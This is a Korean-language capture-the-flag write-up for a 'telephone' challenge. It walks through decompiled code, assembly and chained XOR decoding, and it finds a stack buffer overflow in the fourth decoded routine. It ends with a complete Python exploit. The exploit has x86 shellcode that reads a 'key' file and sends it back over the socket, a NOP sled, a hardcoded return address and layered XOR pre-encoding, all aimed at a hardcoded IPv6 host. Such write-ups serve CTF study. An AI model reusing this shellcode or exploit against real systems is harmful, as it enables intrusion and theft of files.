telephone의 main 함수:
size_t __cdecl sub_8049860(int fd)
{
size_t result; // eax@1
int v2; // edi@5
signed int v3; // eax@6
int v4; // esi@8
int v5; // ST0C_4@10
size_t size; // [sp+28h] [bp-10h]@1
sub_8049400(fd, “what do you have to say for yourself?\n”, 0);
result = sub_80494A0(fd, (int)&size, 4u);
if ( result == 4 )
{
result = size;
if ( size <= 0×1000 )
{
if ( size )
{
v2 = (int)malloc(size);
if ( v2 && (v3 = sub_80494A0(fd, v2, size), v3 == size) )
{
v4 = 0;
do
{
if ( fork() )
exit(1);
v5 = v4++;
sub_80497E0(fd, v2, size, v5, sub_8049510);
}
while ( v4 != 5 );
sub_8049400(fd, “I think you said:\n”, 0);
sub_8049390(fd, v2, size);
result = 0;
}
else
{
result = 0;
}
}
}
}
return result;
}
: main 함수에서 loop 부분을 살펴보자. sub_080497E0로 loop의 count를 인자로 넘겨준다.
sub_80497E0(fd, v2, size, v5, sub_8049510) 의 assembly code
text:080497E0 push ebp
.text:080497E1 mov ebp, esp
.text:080497E3 push edi
.text:080497E4 push esi
.text:080497E5 push ebx
.text:080497E6 sub esp, 0Ch
.text:080497E9 mov eax, [ebp+arg_0]
.text:080497EC mov edi, [ebp+arg_10]
.text:080497EF mov [ebp+var_10], eax
.text:080497F2 mov eax, [ebp+arg_4]
.text:080497F5 mov [ebp+var_14], eax
.text:080497F8 mov eax, [ebp+arg_8]
.text:080497FB mov [ebp+var_18], eax
.text:080497FE mov eax, [ebp+arg_C]
.text:08049801 shl eax, 0Ch
.text:08049804 lea ebx, unk_804BB20[eax]
.text:0804980A shl eax, 0
.text:0804980D add eax, offset unk_804CB20
.text:08049812 mov esi, eax
.text:08049814 sub esi, ebx
.text:08049816 jz short loc_8049833
.text:08049818 xor ecx, ecx
.text:0804981A xor edx, edx
.text:0804981C lea esi, [esi+0]
.text:08049820
.text:08049820 loc_8049820: ; CODE XREF: sub_80497E0+51j
.text:08049820 movzx eax, byte ptr [ebx+edx]
.text:08049824 add ecx, 1
.text:08049827 xor byte ptr ds:loc_8051CD4[edx], al
.text:0804982D cmp ecx, esi
.text:0804982F mov edx, ecx
.text:08049831 jnz short loc_8049820
.text:08049833
.text:08049833 loc_8049833: ; CODE XREF: sub_80497E0+36j
.text:08049833 mov eax, [ebp+var_18]
.text:08049836 mov [ebp+arg_C], edi
.text:08049839 mov [ebp+arg_8], eax
.text:0804983C mov eax, [ebp+var_14]
.text:0804983F mov [ebp+arg_4], eax
.text:08049842 mov eax, [ebp+var_10]
.text:08049845 mov [ebp+arg_0], eax
.text:08049848 add esp, 0Ch
.text:0804984B pop ebx
.text:0804984C pop esi
.text:0804984D pop edi
.text:0804984E pop ebp
.text:0804984F jmp loc_8051CD4
이 함수에서는 0x0804BB20 + 4096 * count 에 있는 값으로 0x08051CD4에 있는 명령어를
xor로 디코드 하고, 실행한다.
이 프로그램에서는 5번 xor로 명령어를 decode하고, 실행한다.
첫번째 루프
char __cdecl decode1(int a1, int a2, int a3, int (__cdecl *a4)(_DWORD, _DWORD))
{
int v4; // edi@1
int v5; // esi@1
int v6; // ecx@1
char v7; // dl@1
char v8; // al@2
char result; // al@2
v4 = a2;
v5 = a2;
v6 = a3;
v7 = 68;
do
{
v8 = *(_BYTE *)v5++;
result = v7 ^ v8;
*(_BYTE *)v4++ = result;
v7 = result;
–v6;
}
while ( v6 );
if ( a3 == 123 )
result = a4(a1, 0);
return result;
}
두번째 루프
char __cdecl decode2(int fd, int buf, int buf_size, int (__cdecl *func)(_DWORD, _DWORD))
{
int v4; // edi@1
int v5; // esi@1
int v6; // ecx@1
char v7; // dl@1
char v8; // al@2
char result; // al@2
v4 = buf;
v5 = buf;
v6 = buf_size;
v7 = 68;
do
{
v8 = *(_BYTE *)v5++;
result = v7 ^ v8;
*(_BYTE *)v4++ = result;
v7 = result;
–v6;
}
while ( v6 );
if ( buf_size == 65 )
result = func(fd, 0);
return result;
}
세번째 루프
char __cdecl decode3(int a1, int a2, int a3, int (__cdecl *a4)(_DWORD, _DWORD))
{
int v4; // edi@1
int v5; // esi@1
int v6; // ecx@1
char v7; // dl@1
char v8; // al@2
char result; // al@2
v4 = a2;
v5 = a2;
v6 = a3;
v7 = 84;
do
{
v8 = *(_BYTE *)v5++;
result = v7 ^ v8;
*(_BYTE *)v4++ = result;
v7 = result;
–v6;
}
while ( v6 );
if ( a3 == 84 )
result = a4(a1, 0);
return result;
}
네번째 루프
char __cdecl decode4(const void *buf, unsigned int buf_size)
{
char v2; // dl@1
int *v3; // edi@1
int *v4; // esi@1
unsigned int v5; // ecx@1
char v6; // al@2
char result; // al@2
int v8; // [sp+0h] [bp-108h]@1
memcpy(&v8, buf, buf_size);
v2 = 69;
v3 = &v8;
v4 = &v8;
v5 = buf_size;
do
{
v6 = *(_BYTE *)v4;
v4 = (int *)((char *)v4 + 1);
result = v2 ^ v6;
*(_BYTE *)v3 = result;
v3 = (int *)((char *)v3 + 1);
v2 = result;
–v5;
}
while ( v5 );
memcpy((void *)buf, &v8, buf_size);
return result;
}
위의 함수는 decode 된 코드 중, 실행되는 중요한 함수들이다. 각 각의 함수의 역할은,
메인함수에서 입력받은 값에 대해서 xor 시키는 함수이다.
위의 함수들을 비교해보면 4번째 함수의 경우, 입력한 값을 buffer로 옮겨온다는 것을 알 수 있다.
메인에서 입력받은 값을 크기는 1000h이다.하지만 4번째 함수의 buffer는 터무니 없이 작다. 따라서 bof
가 발생한다.
공격 계획:
1. 4번째 함수가 목표다.
2. 입력한 값은 xor이 되므로, 이를 피하기 위해서 프로그램에서 encode할 때, 원하는 코드로 풀리도록 입력해야 한다.
3. buffer의 주소가 변하지 않으므로, ret를 buffer의 주소로 바꿔준다.
exploit:
#!/usr/local/bin/python
import socket
def de_encode(s, key):
s2 = chr(ord(s[0]) ^ ord(key))
for i in xrange(1, len(s)):
s2 += chr(ord(s[i-1]) ^ ord(s[i]))
return s2
def call(HOST):
scode = “\x8b\x7c\x24\x10\x66\x81\xec\x10″
scode += “\x02\xeb\x2a\x5e\x31\xc0\x88\x46″
scode += “\x03\x50\x56\x50\xb0\x05\xcd\x80″
scode += “\x89\xc2\x31\xc0\x6a\x79\x55\x52″
scode += “\x50\xb0\x03\xcd\x80\x50\x31\xc0″
scode += “\x55\x57\x50\xb0\x04\xcd\x80\x31″
scode += “\xc0\xb0\x01\xcd\x80\xe8\xd1\xff”
scode += “\xff\xff\x6b\x65\x79\x00″
PORT = 1477
size = 0×0110
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.recv(1024)
addr = “\xd0\xca\xbf\xbf”
ebp = “\x22\x22\x05\x08″
send_data = “\x90″ * (size – len(scode) – len(addr) – len(ebp)) + scode + ebp + addr
sock.send(“\x10\x01\x00\x00″)
send_data = de_encode(de_encode(de_encode(de_encode(send_data, ‘\x45′), ‘\x54′), ‘\x44′), ‘\x44′)
sock.send(send_data)
print sock.recv(1024)
return
if __name__ == “__main__”:
call(‘dc19:c7f:2011:5::2′)




















